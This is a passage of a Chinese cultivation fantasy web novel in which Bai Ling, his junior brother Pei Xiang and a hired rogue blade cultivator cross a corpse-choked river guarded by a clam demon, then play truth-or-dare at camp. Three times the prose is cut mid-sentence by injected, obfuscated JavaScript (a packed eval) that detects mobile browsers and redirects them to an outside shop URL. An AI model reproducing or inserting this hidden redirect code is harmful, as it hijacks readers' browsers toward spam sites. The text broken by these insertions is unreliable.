白翎说:“想请你当保镖呀。我是个筑基期,师弟练气期,虽说与那位红裙的真人同行,但还是想雇一位高人保护我们,免得给人家添麻烦。” 尹真沉默片刻,道:“开个价。” 白翎:“二十枚塔印?” 尹真:“……” 白翎以为他嫌少,毕竟塔印的回馈看运气。而尹真通身气度不俗、却无一套价格同样不俗的衣着,还是个散修,显然跟好运不沾边。 没想到,尹真说:“行。” 他顿了顿,又补充道:“不卖命,不挡刀。我去忙自己事的时候,你要批假。” 白翎记得他说过“我的时间不多了”,问:“方便告诉我是什么事吗?” “什么事?”尹真一脸坦然地说,“捡垃圾。” 白翎:“……” 白翎少见地陷入了沉默,因为他知道“捡垃圾”什么意思:也就是去捡其他修士打架爆出来的装备。 大部分修士为了轻装上阵,杀人夺宝后,只挑自己能用的带走。比如一个化神期大佬,肯定不会要练气期的通脉丹。 此种行为在某种程度上,促进了修真界可持续发展,因为常有修为低微的仙友,借此机会捡漏。 鉴于尹真之前凡是丹药、照单全收的标语,白翎有理由怀疑,他是一名靠倒卖垃圾糊口的散修。 金丹期竟然也会干这行啊——白翎善解人意地笑道:“没事,你去之前和我说一声就行。来,我给你引荐一下,这位是漱玉真人。” 他带着尹真归队,向漱玉真人见礼。女修自然不介意壮大己方力量,确认尹真身上没有魔气的痕迹后,便领诸人走向秘境。 为了避免和问鼎一脉撞上,他们先徒步前进。白翎为表诚信,立即了十枚塔印给尹真。 尹真数也没数便塞进芥子袋,主动落到队伍末尾殿后去了。 白翎回到师弟身边,掏出李德送来的问鼎一脉行程表。问鼎一脉此行的首要目的,是去火神冢锻剑。李德苦等了两百年的机会,如今落在师侄身上,估计快把他气疯了。 白翎自言自语道:“先往东北,绕过小姑岭,再往西北,渡过大姑河……路上机缘不少,问鼎一脉应该会走走停停,我们也不用太赶。” 裴响默不作声,只是点了下头。 白翎笑道:“听说大姑河里有个蚌精,守着许多灵珠,是炼制通脉丹的上好原料。凡是路过的修士们,都会去淘一淘,为以后入门的弟子做准备。” 裴响道:“我要去么?” “当然不用啦。诸葛悟替你备了足足一斛,我都放好在芥子袋里了。”白翎笑眯眯地说,“反正他不在,私下里直呼其名没关系吧?” 裴响不赞同地看了他一眼,向魔域的方向拱手行礼,淡声道:“谢诸葛师兄。” 白翎扬眉,不服气地给了他一胳膊肘。 他捅咕完师弟,眯眼觑旁边的驾鹤一脉弟子们。或许因此行是去给惨死的师妹窈娘报仇的缘故,他们神色肃穆,不太说话。 白翎心下叹息一声,不知为何,总有种阴冷的预感,好像此去并不会一帆风顺、一切如他所料。 但正所谓尽人事,知天命。白翎也不再与裴响说什么,沿途看一看前所未见的风景,终于在入夜之前,来到一条水流湍急的河边。 天色快要完全暗了。 眼前的河流正是大姑河,才刚听见水声,白翎便察觉了一丝不对。 河水是黑红色的,不断从上游冲来大大小小的块状物。驾鹤一脉的徐师弟刚上前仔细看了一眼,立刻干呕着退回来,道:“是……是……” 白翎瞧见一只断足漂过,明白了。河里尽是修士们的残肢。 大姑河是进入秘境的第一道门槛,与风光秀美的小姑岭完全相反,由于守珠蚌精的存在,无数修为低微之人葬身于此。 白翎记得上回来时,自己是待在诸葛悟袖子里过河的,因此并无印象。徐师弟眼巴巴地看向漱玉真人,问:“大师姐,你能载我们过去吗?” 尸块实在太多了,在河湾处堆积着,铺了厚厚一层。 血腥味令人作呕,漱玉真人凝眉道:“不会御剑的可以来我袖中,会御剑的自己渡河。蚌精感应灵力而动,修为越高,越容易成为目标,我们分散些才安全。” 徐师弟面露愁容,道:“好、好的师姐!” 他祭出宝剑,踩了上去,不敢出发。他也才迈入筑基后期不久,看着下方浩浩汤汤的血河,面上发怵。 白翎听了漱玉真人的说辞,转向尹真,问:“尹兄能载我二人一趟么?” 尹真略一点头,结了个印,把白翎和裴响变成了两片纸人,薄薄的憨态可掬。 纸人先后跳上尹真的肩头,揪住他一缕头发,就当系上安全带了。 驾鹤一脉的弟子们也各就各位,漱玉真人保险起见,把小辈变成的镇纸和扇坠分开,各交到一名弟子手中。 她率先飞至河心,静候蚌精现身。 不多时,河面下有庞大的暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996972|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影游过,短暂地出水,又迅速潜入河底。漱玉真人向岸上众人投来一瞥,示意尹真一旦等她与蚌精缠斗,就立即带其他人渡河。 在蚌精露出水面的刹那,白翎看清了,是一条伤痕累累的腕足。 显然,蚌精今日吃了个饱,不过还是被抢去了许多珠子,而且负伤不少。他们来得晚,大概正撞在蚌精的气头上,而且没有别的修士们一拥而过,现下他们是蚌精唯一的目标。 白翎探头跟尹真脖子对面的裴响说:“师弟,这蚌精有点变态呀,都长出触手了。” 裴响的纸人道:“那个词还是形容你比较合适。” 白翎说:“怎么会呢?虽然我是最纯正的变态,但……” 尹真漠然道:“不要在我头两边说话。” 白翎识相地闭嘴了,专心观战漱玉真人。大姑河诡异地风平浪静了片刻,突然,一条三人合抱之粗的腕足弹出水面,袭向女修。 她高声喝道:“走!” 尹真与三名驾鹤一脉弟子同时飞出,掠过血河上空。白翎恐高的毛病又犯了,紧紧扒着尹真的头发,腿软却忍不住回头,看漱玉真人的战况。 只见女修凭空化剑,刺入潮头。已渲染成碧衣的法袍大放光明,灼伤了腕足。 蚌精在水下怒吼,识破她的意图,更多触手破水而出,绕开驱使飞剑的漱玉真人,直奔白翎等人而来。 尹真早有防备,张口喷出数道刀意。他显然修炼到了人刀合一的地步,长刀踩在脚下,刀意游走四方。 几条触手被砍断,蚌精暴怒。它可不管眼前的几个偷它宝珠没有,宝珠今天少了,那便要所有飞来飞去的大蚊子偿命。 一声惊呼传来,徐师弟的宝剑被触腕顶飞,一人一剑极速下坠。白翎暗道不好,徐师弟怀里还揣着个镇纸,是他另一位师弟。 尹真踏上河岸,立即扬刀挥出。磅礴的灵力把徐师弟下方的所有触手齐根切断,河面翻腾起惊天血浪! 漱玉真人疾驰而来,堪堪拎住徐师弟的腰带,将他提在空中。徐师弟也握住了自己的剑,剑身已没入血水,险些被冲走。 他欣喜道:“抓住了!大师姐,咱们快……哎哎哎?!” 漱玉真人正要带他过河,却没拉动。徐师弟也面色一变,因为他感到有什么东西,在水面下绞住了他的剑。 剑修无事不可兵刃脱手,即便有事,也大多数死活不肯放的。白翎在岸上挣扎几步,化回人形,冲他们喊道:“先别管剑了啊!” 然而他话音未落,异变陡生。一张血盆大口在河面上张开,如一座硕大莲台,浴水怒放。 最外层的莲叶是蚌壳,里边重重花瓣是尖牙,花蕊则是三条长满倒刺的长舌头,牢牢卷着徐师弟的剑,将师姐弟二人奋力一甩! 其他驾鹤一脉的弟子御剑冲回去,要为同门助阵。白翎心念一动,伸手进芥子袋里挑挑拣拣,翻出一物。 他把此物举起来,大喜道:“天生我材必有用啊!” 旁边的尹真见了这东西,却是嘴角抽搐,斥道:“快扔掉!” 25.二十五、渡河 白翎闻言笑道:“你认识?” 他手中捧着的,正是他与裴响在全性塔抽奖时,抽出的仙级法宝群魔饵。 白翎以前读老祖的云游笔记,见过相关记录:此物能吸引一定范围内所有的妖邪魔物,效果强劲。白翎看原文的描述,感觉和猫薄荷差不多,不过是邪祟专供。 尹真寒着脸,虚点了他一下,警告道:“我要请假了。” 白翎:“啊?” 裴响忽然拉住他的袖口。 不等白翎领会,一阵地动山摇的声音从他背后传来。蚌精竟然离开了赖以生存的河床,放弃捕猎漱玉真人他们,转向白翎的方向。 几条十人都不一定能抱住的腕足砸上河岸,与之相比,刚才用来攻击的触手们简直细如蛛丝。白翎睁大双目,一片不断攀升的黑影迅速覆盖了他。蚌精兴奋地开合着壳盖,山丘般的身躯浮出大姑河。 白翎:“呃……” 他顿时明白了尹真催他扔掉群魔饵是为什么。可当白翎转向尹真,就见刚才有人的地方空空如也。 裴响说:“他请完假便消失了。” 白翎:“我还没批呢!!!” 容不得他们多说,河里冒出来的小山已在逼近。白翎实在不舍得把仙级法宝就这么丢出去喂鱼,立即将其塞回芥子袋。 然而对蚌精而言,即将扑到手的逗猫棒凭空不见,绝对是对它的戏弄。壳上沾满血污、寄生着无数藤壶状肉芽的蚌精彻底陷入狂暴,数条触手同时砸向白翎。 白翎暗道不好,发动神行术,抄起师弟便跑。 裴响没料到这辈子有被打横抱走的一天,下意识搂住师兄脖子,浑身僵硬。 白翎也没想到,自己活两世了竟然会公主抱一个男人,不过是可爱师弟的话问题不大。逃命要紧,他迅速往密林深处钻去,希望在蒙蔽蚌精的同时,参天大树能挡一挡腕足的攻势。 漱玉真人说得没错,蚌精没有眼睛,是靠感应灵力行动的。 幸好白翎和裴响的修为不高,蚌精触腕横扫,虽然把大片古树拦腰折断,但也被木头的断口划出不少伤。 蚌精离水,威力大减。漱玉真人及时赶到,在最后一条触手快要拍到白翎和裴响之前,“衔烛”变作楼阁大小,凌空砸下。 大地摇撼,蚌精发出吃痛的怒吟,反身潜回大姑河。河面上血浪滔天,白翎和裴响也被浓稠的血雨浇下,淋成了两个血人。 白翎在危急时刻,左手把裴响的脑袋按进怀里,右手摸上了师兄给的铃铛。 他正因铃铛没有被蚌精的杀意触发而疑惑,便听铃舌里传出诸葛悟的声音,道:“阿翎?” 白翎惊讶道:“师兄!” 一阵听之令人牙酸的剔肉削骨声随之响起,不知诸葛悟正在与何等邪佞厮杀。他听见师弟的回音,松了口气,道:“没事就好。我分神在铃铛上,有危险时,会先看你那边一眼。有漱玉真人在,我此刻抽不开身,暂且……” 话语声断了。 白翎一愣,“喂”了两下,听诸葛悟又说了句“无妨”,而后再无回音。 看来前线战至正酣,漱玉真人伸手道:“没事吧,两位师弟?” 白翎这才松开捂着裴响的手,道:“真人来得正好。” 裴响一言不发站起来,神情凝重。 白翎以为他要怪自己,刚想说逃命的姿势就别挑剔了,但是看师弟一动不动、仿佛在感受着什么,他不禁好奇道:“怎么了阿响?” 裴响眼睫微颤,鬼使神差地伸出手,扶住白翎面颊。白翎也不躲,大大方方地任他摸,只是疑惑地挑了下眉。 围上来的驾鹤一脉弟子们看看这个、看看那个,小声问漱玉真人: “大师姐,我们是不是该回避一下?” “他们刚逃出生天。我听说在生死之际,很容易激发出别样的感情。” “有多别样?我刚被大师姐救了第一百零七次,大师姐,你收我当干儿子吧!我想给你养老送终!”徐师弟一把鼻涕一把泪,抱着自己卷了刃的宝剑。 白翎全听在耳朵里,忍不住侧过脸去,想笑骂几句。不料裴响手上用力,不许他看旁人。 下一刻,白翎身上沾染的污血竟然活过来一般,尽数向裴响的指尖游去。只消须臾,白翎的白布道袍干净如新,腰间的铜铃晃晃悠悠,发出轻吟。 裴响先清理完他,然后把自己身上的血迹也吸纳了。 他犹觉不足,转身向蚌精留下的断腕,这次花费了少许时间,把散发邪气的骨肉尽数侵蚀、消融、汲取,看得驾鹤一脉弟子们目不转睛,不断发出“哇哦”之声。 白翎一边鼓掌,一边也很给面子地“哇哦”着。 终于,裴响呼吸一滞,回过神来。他茫然地看着双手,蓦然想起什么,一把抓住白翎。 他上下观察白翎一眼,确认师兄没有受伤,才道:“我的功法……多了一行字。” 白翎问:“能说么?” “能,是一句古话。‘山不让尘,川不辞盈’,仿佛是让我吸收一切可吸收之物的意思……”裴响略略蹙眉,身上忽然亮起一层微光,如温凉的火焰覆盖周身。 白翎一眼认出了什么状况,道:“因祸得福啊师弟,你好像要通灵脉了!” 漱玉真人一声令下,让小辈们为裴响护法。裴响居然在此时面临关窍突破,当即趺坐入静。 白翎掏出诸葛悟备的通脉丹,不知该如何护法,一时无措。 他问漱玉真人:“真人,通脉会成功的吧?以我师弟的资质,还有我师兄的筹备,应该……” 漱玉真人引他到旁边等候,微笑道:“你已通过灵脉,应该再清楚不过了。” “啊?我通灵脉的时候,没问过这些……”白翎张了张口,无奈道,“事情落在别人身上,和落在自己身上,完全不同啊。” 女修面露揶揄之色,说:“一般落在别人身上,隔岸观火;落在自己身上,方知担忧。白师弟怎么恰恰相反?” 白翎眨了一下眼,道:“因为我是一个好人?” “好人,我回来了。” 沙哑的嗓音响起,吓白翎一跳。 他看着不知何时又出现在身边的尹真,气得乐了,道:“你好啊尹兄,剩下十枚塔印不想要了吗?” 红衣刀修漫不经心地说:“陪你们过条河就拿了十枚,已经血赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009944|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。当然,我还想要剩下十枚,所以回来了。” 白翎道:“回来干嘛,大家一起逃命,你这种跑得比我快的,我才不要。” 漱玉真人却问:“尹仙友手里拿的是什么?” 尹真身后拖着一条麻袋,袋口光华隐现。 白翎眯眼说:“难道你……” “嗯,我说过,请假都是为了去捡垃圾。”尹真把袋口一张,夺目的珠光险些闪瞎白翎的眼。 白翎震惊道:“你去偷家了?!” “偷家,什么意思?扫荡老巢么。”尹真把麻袋收入纳戒,抱臂道,“你说的没错。蚌精上岸追你们,正是后背空虚之际。它最好的珠子都压在身下,深埋在河床里,已被我一网打尽。” 白翎伸手道:“我也要。” 漱玉真人微愕,大概从没见过他这样讨东西的。 尹真沉默片刻,却真的从芥子袋里抓出了一把宝珠,放在白翎掌心。 珠光熠熠,灵气喷流,竟然有达到神级的迹象,不愧是蚌精从不离身的至宝。漱玉真人更惊讶了,毕竟像尹真这样别人讨东西就给的,也是屈指可数。 念及小辈中亦有未通灵脉之人,漱玉真人不禁动摇。她犹豫着要不要和白翎一样抛却脸面,直接伸手,可是顾及礼教和尊严,欲言又止。 忽然,白翎把宝珠全部递到她面前,笑盈盈道:“真人及时出手,救下我与师弟,还没谢谢你呢。阿响他现在通脉,也来不及把宝珠炼成通脉丹了,就请真人收下我的谢礼吧?” 他语气轻快,眼神略有些促狭,显然是故意帮她讨来宝珠的。 漱玉真人一怔,明白过来,亦含笑道:“既如此,我便笑纳了。多谢白师弟好意。” 她收下东西后又行了一礼,转身加入护法。 通灵脉是修士们踏入修仙门槛的第一步,比起后面的层层关隘,风险极低。有一位元婴期修士护法,绝对是大材小用,堪称万无一失了。 尹真瞥了白翎一眼,见他始终望着裴响,道:“你对师弟,倒是烂人真心。” “呸,怎么说话的?我要扣你绩效……不是,工资怎么说?啊!我要扣你的酬劳。”白翎冷笑两声,笑着笑着,面色又淡下来。 尹真打了个哈欠,道:“反正你连护法都不会,不如找地方睡觉。” 白翎却问:“尹兄见识如何?” 尹真:“啊?” “我师弟的功法似乎能吸收邪物的血,感觉不太正经啊。嗯,虽然我的更不正经……但尹兄听说过和他类似的么?”白翎轻叹一声,道。 不料,尹真竟直接道出了功法的名字,说:“他修的可是《太上迢迢密文》?” 白翎惊讶道:“尹兄听说过?” “你们道场里的闭门造车,不喜闲谈,我们散修却不一样,什么都聊。坊间流传了很多排名,比如十大最适合剑修的功法、十大最适合美人的功法,你师弟的《太上迢迢密文》,榜上有名。” 白翎安静片刻,道:“那它是最适合剑修的,还是最适合美人的?” “都不是。”尹真面色不变,淡淡道,“它是最让人短命的功法。而且,修真界排行第一。” 26.二十六、天妒 白翎心中一空,道:“什么?” “修了最容易暴毙的功法,你师弟的《太上迢迢密文》称第二,没别的敢称第一。你多闯荡一番便晓得了,许多散修见了他的路数,便能猜到他的名堂。”尹真幽幽地说,“功法多有主流,那玩意儿主死生。何谓死生?‘置之死地而后生’。” 白翎一时沉默,不待他发问,尹真继续道:“起初是置别人于死地,吸取别人的生机。之后他会在某次垂死时,破获新的功法启示:断送他自己也行。谁的生机不是生机?他越命悬一线,爆发的力量越强。可以说,这功法是专门为越级对战而生的。凡是修炼它的人,无不沉溺于一再死里逃生的快感,最终玩火自焚。” 好一会儿没人说话,直到白翎问:“一个修成功的……都没有吗?神级功法,面世几千年,还是有人修成过的吧?” “有。有且仅有一个。既然你出自道场,肯定听说过这人。”尹真淡声道,“展月。” 白翎:“……” 白翎一闭眼,不想说话了。 师祖的笔记里提过,他修的功法五花八门,包罗万象。其中有《太上迢迢密文》,也不奇怪。 但是,师祖他老人家都快三千岁了!若提及此功法的成功者,还要上溯到他,直接说修《太上迢迢密文》的全死绝了也差不多。 白翎深吸一口气,道:“换一部功法修,行吗?” 尹真:“《太上迢迢密文》是神级功法。” “那又怎样?” “神级功法大多通灵,秉性各异。有些博爱,兼收并蓄,有些乖张,独断专行。”尹真问,“你猜害死这个害下一个的《太上迢迢密文》,是哪一种?” “……完全是歪理邪说啊!”白翎终于气不过骂道。 他双手叉腰,原地乱转。 他们这脉到底中了什么邪?一个二个的被鬼畜功法缠上。怎么想都是师祖家老坟那边出了问题,要是能找到地方的话,全部刨个底朝天晒太阳才好。 白翎吐出一口恶气,道:“尹兄博学多才,听没听说过《玉壶冰心箴言》?是我师兄的功法,道场人尽皆知,应该没什么偏门吧!” “这个倒是传言不多。可能功法的性子比较挑剔,看名字也不是随便属意人修的。不过……” 白翎:“不过什么?有什么阴间说法都尽管放马过来吧,我现在坚强得可怕,已经没有任何事能将我打倒了!” 尹真点点头,道:“修这个的全部孤独终老。具体原因尚未可知,反正寥寥几个成名的,都没有道侣。” “哦……” 白翎松了口气,心说统计样本不多,也可能是小概率事件。师兄是个温柔的人,谈不谈恋爱不重要。 他的心思转回到裴响身上,看着不远处仍在入境的师弟,心乱如麻。 根据尹真所言,修《太上迢迢密文》的人血量越少、攻击越高,岂不是游戏里的狂战士类型?确实是越级挑战的一把好手。 如果他可以阻止师弟失控,能不能保他平安? 他管得住裴响吗? 换句话说……裴响会听他的吗? 白翎不是费神纠结的人,当即向尹真求教:“尹兄啊,我是说如果——如果我一直陪着阿响,看着他不让他失控,会有用么?” “你是以什么身份、什么立场问出这句话的?作为师兄?作为至交好友?”尹真扯动嘴角,道,“我告诉你,你是他爹妈都没用。以前也不乏修此功法走火入魔的,亲生父母跪在眼前,照样拦不住。” 白翎:“……” 白翎虚情假意地笑了下,反驳不了什么,只道:“看来是无药可救了?” 尹真观察他片刻,忽然露出微妙神色。 白翎没好气地问:“你干嘛一副‘难道莫非不会是——’的表情?” 尹真道:“你俩,是不是有一腿?” 白翎:“啊???” 尹真一摊手,说:“《太上迢迢密文》专挑天才磋磨,不过呢,也不是但凡天才就能被看上。被看上的,无不是大情种。你要是真想以一己之力管控师弟,恐怕……” 白翎目瞪口呆地道:“不会要我给他当道侣吧?” “反正修这玩意儿活过八百岁的,都靠道侣吊着命。最后殉情的殉情、杀妻的杀妻、被反杀的被反杀,那都是后话了。”尹真不耐烦地挥挥手,转身靠树坐下。 他神色困顿,斗笠盖脸。好一会儿后,斗笠下传出一句不知所云的感叹:“八百岁光阴,于蜉蝣而言,也是万古……” 他说到最后一个字,脑袋歪向旁边,发出低低的鼾声。 白翎一时惘然。 八百岁么?确实是一个不错的短期目标。 可是要他和师弟谈恋爱,实在很抽象。裴响被他碰一下便跟踩了尾巴的猫似的,怎么会接受断袖? 别说裴响了,白翎自己也没想过喜欢男人。他甚至没想过喜欢人,不然就不会被双修的要求困扰了。 白翎叹口气,眼看裴响周身的灵焰逐渐澄明,体表显出发光的脉络路径,到了通灵脉的紧要关头。 他抛却杂念,紧盯着师弟。通脉丹一颗接一颗升起,在裴响的丹田处消融,化作一缕灵光,随他体内的灵气运转诸天。 幸好诸葛悟给的存货够多,足以支撑裴响的消耗。不知是不是他所修功法的原因,借助外物法力时,鲸吞虹吸,护法的驾鹤一脉小辈们头上都冒汗了。 幸好,灵焰散入四肢百骸,稳步平息。 裴响率先睁眼,见到周围一圈人时,微微一怔,而后捕捉到站在人群外面的白翎,敛眸平静下来。他俩再不合,也是师兄弟,是现下最知根知底的人。进境之后,还是要自家人在旁边才安心。 众人纷纷向他道贺:“太好了裴师弟,你的脉是我见过的最稳的!” “恭喜。自今日始,你便是练气后期了。”漱玉真人亦面露微笑。 白翎迟疑片刻,走向人群。 因尹真的一番话,他一时间不知如何面对裴响,抿了抿唇,无所适从。 不过大伙儿正在兴头上,只当他是忧虑所致。徐师弟还打趣道:“刚才白仙长老操心了,这会儿都没回过神呢!” 裴响抬眼盯着白翎,好像想听他亲口说。可是白翎对上他视线,勉力笑了笑,道:“嗯……我们要不在这安营扎寨?刚好蚌精扫出了一片空地。” 漱玉真人取出法宝,张开结界。驾鹤一脉的小辈们很快搭成了几顶帐篷,两人一间。 唯有尹真倒在树下,已睡得不知天地为何物,无人管他。白翎用忙碌掩饰心情,拿芭蕉叶做了个遮阳伞似的玩意儿,支在尹真头上。他斗笠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020116|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖着脸,白翎纯属画蛇添足,不过手头有事做,便不会胡思乱想了。 终于,夜色浓郁。 驾鹤一脉的小辈们入秘境时尚且肃穆,经历与蚌精的大战后,急需舒缓一番。 徐师弟燃起篝火,搬来大块的石头,供众人围坐。一名姓田的师妹抱来几串野果,分与众人吃。 为了让小辈们自在,漱玉真人借口回帐篷里静坐了。 白翎却被盛情邀请,无奈答应。因为一直和裴响不尴不尬的,他能感到裴响周围的低气压,遂拉上师弟一起,坐在篝火边。 果然,裴响同他坐下后,虽然仍单手支着脸、抱膝不搭理人的模样,但白翎不知为何感到,师弟的心情有所好转。 两脉弟子从无这般围炉夜话,个个兴致盎然。 田师妹捧着脸,满含期待地问白翎:“白仙长,你主意多,有没有什么新奇的话题聊聊呀?” “光聊天没意思,一群人当然要玩游戏了。”白翎的脑子里,什么“狼人杀”、“谁是卧底”、“国王游戏”全部转了一圈,最后怕修仙的家伙们玩不起,挑了个入门级别的,道,“我们来玩‘真心话大冒险’吧。” 小辈们双眼发亮,听他介绍游戏规则后,更是兴奋。 田师妹取出一根发簪,令其浮在篝火上空。只消打出灵力,便能让簪子自由转动。 “谁先来?”白翎面露笑意,见驾鹤一脉的全看着他,立即祸水东引,拍拍裴响说,“师弟你先。” 裴响一怔,见他恢复以往的笑容,终是没有拒绝。 不料裴响打出灵力后,簪子转动数圈,最后指向白翎。驾鹤一脉的小辈们全部欢呼起来,笑他自作自受。 裴响幽幽道:“说,还是做?” 白翎道:“大、大冒险吧……” 他谅裴响不会为难师兄,至少不会到体罚的程度,没想到裴响说:“挥剑一百下。” “这怎么做得到!我最讨厌锻炼了。”白翎龇牙咧嘴,立马改口,“我选择真心话,你要问什么?” 裴响沉默。 他沉思半晌,道:“你的生辰是?” 话音一落,白翎尚未发话,驾鹤一脉的小辈们全部跳起来了,不满意道: “生辰有什么好问的呀!门中肯定记录了吧?” “裴师弟不要拘束,放开胆问!你真是浪费了一个好机会。” “不行不行,你重新想一个。依我看,上次丢脸的事情就是个好问题!” “哎呀你问的还不如他呢,谁要听糗事?问问谈情说爱的才有意思……” 小辈们七嘴八舌,吵吵闹闹。他们说到激动处,情不自禁地拨拉裴响,裴响被推来搡去,略显无措。 白翎挥开众人,道:“去去去,瞎起哄干嘛?要充分尊重提问之人的意愿。问我的生辰是吧?是什么日子来着……噫。” 他卡壳了。 当了两辈子孤儿,白翎还真不知道自己哪天出生的! 裴响却好似受到了启发,盯了他片刻,忽然道:“师兄。” 白翎:“啊?” “你有过心仪之人吗。” 少年人一时不慎,问出了口。众人皆安静下来,他却倏地面如火烧,起身要回帐篷。 白翎下意识拉住他,道:“你跑什么?我说就是了!” 27.二十七、八卦 白翎把裴响捉回来,按着他坐下。 即便有火光映衬,也能看出裴响冷白的面色泛起红潮,被白翎端详了片刻,别开脸去。 白翎不禁乐道:“你问我,你还不好意思了?啊?不就是初恋嘛。” 驾鹤一脉的弟子们个个挪动屁股下面的石头,凑上前问:“白仙长真的动过凡心?” “凡心,什么是凡心?修仙的要清心寡欲我知道,但是‘凡’也不是什么十恶不赦的字眼,凡心,动就动了。” 白翎嘴上夸夸其谈,实则瞧着裴响的后脑勺,见少年人的耳廓微微一动,显然在听,更觉得好玩。 徐师弟问:“所以到底有没有心仪之人?” 白翎道:“没有。” “哎呀——” 驾鹤一脉的小辈们拍膝顿足,个个无语地撇着嘴,又用屁股把石头挪回去了。 徐师弟气道:“白仙长耍我们玩儿的吧!” 裴响倒是略略回身,瞄了白翎一眼。 白翎正等着他呢,笑眯眯地说:“我看起来很花心吗?不会吧,我明明是潜心修道的正经人。师弟你说是不是?” 裴响一梗,当着外人面,却不好驳斥师兄,只得是半信半疑道:“你说是便是,我也无从考证。” “喂喂,但凡我喜欢谁,那人必定也会爱上我,而且爱得不得了。我们几百年前就结侣了,我哪会孤家寡人到现在?”白翎神色自若,态度十分之令人信服。 田师妹道:“白仙长说得有理。虽然外界对你的误解颇多,但只要与你相处,定会被你哄得很开心的。” 白翎正想道谢,却见裴响沉着脸,轻哼一声。 他凑过去瞧裴响的正脸,问:“师弟不同意?” 裴响一愣,推开他道:“连认识不久的师妹也这样说,我还能有何异议。自然是你说的都对了。” 白翎从他的话间咂摸出一丝不明的意味,可是驾鹤一脉五张求知若渴的脸一字排开,正目光炯炯地望着他们。 白翎轻咳一声,道:“好啦,我来转簪子!” 他打出灵力,心说也让他指着裴响审一审才好。结果天公不作美,让他指到了徐师弟。 徐师弟摸着后脖子傻笑:“白仙长手下留情啊,我选大冒险吧。” 白翎叹气道:“你啊……找个修为比你高的,去他跟前热舞一段。” 白翎本想着让他找个同辈斗舞算了,不料徐师弟看看漱玉真人的帐子,不敢打扰,转而看向树下的尹真。 白翎奇道:“他是我们中修为最高的?” 另一名师弟说:“没有,我都金丹期了。他就是拉不下脸。” 徐师弟踹了此人一脚,跑到尹真跟前,开始手舞足蹈。驾鹤一脉的弟子们笑得东倒西歪,被徐师弟回头疯狂比“嘘”的手势,才吭哧吭哧忍住。 没想到,徐师弟不小心踢到了白翎做的“遮阳伞”。 芭蕉叶精准地扇了尹真一耳刮子,刀修醒来前先握住刀柄,随后才睁开一双惺忪的睡眼。 他道:“……作法呢?” 徐师弟吓得跳开,连忙结结巴巴地解释起来。尹真无精打采地听着,也不知听明白没有,起身来篝火旁坐下。 一个师弟很有眼力见地搬了新石头给他,众人又聚成一圈烤火。 这回轮到徐师弟转簪子了,他使劲搓手,势必要扳回一城。他倒是心想事成,簪子指到白翎,小辈们纷纷鼓掌,为他出谋划策。 “牛啊徐老弟,快想想问什么?” “哎哎,要不求证一下那个吧。” “那个?哪个??” “就是那个呀!” 一名弟子露出兴奋又诡秘的神情,频频偷觑白翎,被旁边的田师妹拍了一掌,斥他“死不正经”。 白翎正为自己的霉运扶额,见他们叽叽歪歪,倒是被勾起兴趣了,也道:“那个是哪个?” 徐师弟面露尴尬,道:“我问出来,白仙长不会揍我吧?” 白翎说:“保证不动你一根手指头,快问。” “那你还要保证,裴师弟也、也不会生气!” “他生气?他生气了我来哄呗,你不用操心。”白翎不等裴响反应,便打好包票,笑道,“你们到底有什么惊天地泣鬼神的问题?” 徐师弟道:“我们想问的是……梦微道君他、他是不是在洞府里夜夜笙歌啊?” 白翎:“什么???” 此话既出,驾鹤一脉的小辈们全部端正坐好,大气不敢喘。望着篝火出神的尹真也抬头看向白翎,裴响则双目微睁,望着徐师弟。 白翎乐道:“你什么意思,怀疑我师尊闭门不出是……是在乱搞男女关系?” “可不是我们说的啊!是、是问鼎一脉传的。我们当然知道,他家历来与你们不对付,但是他们说得有鼻子有眼,还时不时拿出来讲,好些新来道场的弟子都被误导了……白仙长是不是该辟一辟谣?”徐师弟讪讪地挠了下头。 白翎问:“他们不止说了这个吧,还有呢?” 徐师弟面露难色,白翎道:“放心,挑最劲爆的说。他们怎么传的?” “既然白仙长不介意,我们又是自己人,我、我就讲了!”徐师弟鼓起勇气,道,“李德拉不下脸嚼舌根,但谣言的源头绝对是他。听他手下的五代弟子说,折雨洞天每晚传出靡靡之音,肯定是梦微道君在行放纵之事。而且……而且上梁不正下梁歪,渡尘真人也是衣冠禽兽伪君子,受多名前辈女修青睐……还有白仙长您,呃,他们说您是卖……卖……” 白翎惊讶道:“卖沟子的?!” 徐师弟猛猛点头,说:“您怎么知道!” 白翎:“……” 徐师弟怂了,撺掇田师妹出来救场。 田师妹怯生生地道:“道场皆传您是出卖色相入门的,我们以前置之不理、后来加以反驳,还是很多人坚信不疑。在他们看来,要是他们有您的容貌,肯定也能轻松拜入展月一脉,大展宏图。” 白翎微微张口,虽然对自己这些风言风语有所耳闻,但他没想到,师尊和师兄的名声也深受荼毒。 